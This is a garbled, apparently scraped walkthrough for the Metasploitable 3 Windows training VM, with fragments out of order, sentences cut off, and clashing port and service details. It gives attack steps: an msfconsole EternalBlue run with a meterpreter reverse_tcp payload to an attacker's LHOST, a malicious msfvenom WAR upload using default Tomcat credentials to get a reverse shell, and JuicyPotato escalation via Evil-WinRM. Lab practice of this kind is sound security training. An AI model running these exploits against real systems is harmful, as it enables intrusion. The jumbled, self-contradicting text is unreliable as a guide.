Metasploitable 3 Windows Walkthrough High Quality →
The system hosts services with unquoted execution paths containing spaces, allowing attackers to intercept the service launch execution. Query the system for unquoted paths:
A typical Metasploitable 3 Windows scan reveals an extensive list of vulnerable entry points: Microsoft FTP Service Port 22: OpenSSH Port 80/443/8484: IIS web server and Jenkins CI/CD tool Port 445: SMB (Server Message Block) Port 1433: Microsoft SQL Server Port 3306: MySQL Database Port 4848: GlassFish Server Application Port 5985/5986: WinRM (Windows Remote Management) Port 8020/8030: ManageEngine Desktop Central 3. Phase 2: Vulnerability Analysis & Exploitation Vectors
If you encounter errors during build:
The presence of WinRM (port 47001) and SMB signing disabled will be our eventual keys to the kingdom.
Looking for more? Try the "Metasploitable 3 Linux vs Windows" comparison, or set up a domain controller and practice lateral movement with PsExec. metasploitable 3 windows walkthrough
:
. It proves that a single unpatched web plugin (like Jenkins) can lead to the total compromise of a Windows domain environment. For security professionals, the machine serves as a reminder that "hardening" is not a one-time event but a continuous process of auditing service permissions, enforcing least privilege, and maintaining a rigorous patching schedule.
Open a browser and navigate to http:// :8282/manager/html . Log in using the default credentials: tomcat / tomcat . Generate a malicious WAR payload using msfvenom :
On Kali listener:
Metasploitable 3 is an intentionally vulnerable virtual machine designed by Rapid7 to simulate a realistic corporate environment. Unlike its predecessor, the Windows version of Metasploitable 3 features a complex ecosystem of misconfigurations, outdated software, and privilege escalation vectors.
Unlike a simple VM download, Metasploitable 3 must be using Packer and Vagrant. Here’s the streamlined process.
allow for similar RCE vectors, highlighting the danger of unpatched middleware in a Windows environment. Phase III: Post-Exploitation and Lateral Movement Once a shell is established, the focus shifts to Enumeration . In Windows, this involves identifying: User Context: whoami /priv to see enabled privileges like SeImpersonatePrivilege Network Connections: netstat -ano to find internal services not exposed to the outside. Stored Credentials: Searching for unattend.xml files or credentials stored in registry keys. Metasploitable 3 intentionally includes the ManageEngine Desktop Central
Trigger the payload by navigating to http:// :8282/shell/ . You will receive a reverse shell as the tomcat user. The system hosts services with unquoted execution paths
Upload JuicyPotato.exe via Evil-WinRM:
msfconsole msf6 > search ms17-010 msf6 > use exploit/windows/smb/ms17_010_eternalblue msf6 > set RHOSTS 192.168.56.103 msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6 > set LHOST 192.168.56.102 (your Kali IP) msf6 > run
PORT STATE SERVICE VERSION 80/tcp open http Apache Tomcat 6.0.20 135/tcp open msrpc Windows RPC 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Windows 2008 R2 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM) 3306/tcp open mysql MySQL 5.1.66 3389/tcp open tcpwrapped RDP 47001/tcp open http Microsoft HTTPAPI 8182/tcp open unknown
Perform a comprehensive scan to identify open ports and services using nmap . nmap -p- -sV -A 192.168.x.x Use code with caution. 80/443 : HTTP/HTTPS (IIS 7.5, PHP applications) 445/139 : SMB/NetBIOS (File sharing) 3389 : Remote Desktop (RDP) 5985 : Windows Remote Management (WinRM) 8080 : Apache Tomcat Part 3: Exploitation Scenarios (Walkthrough) Looking for more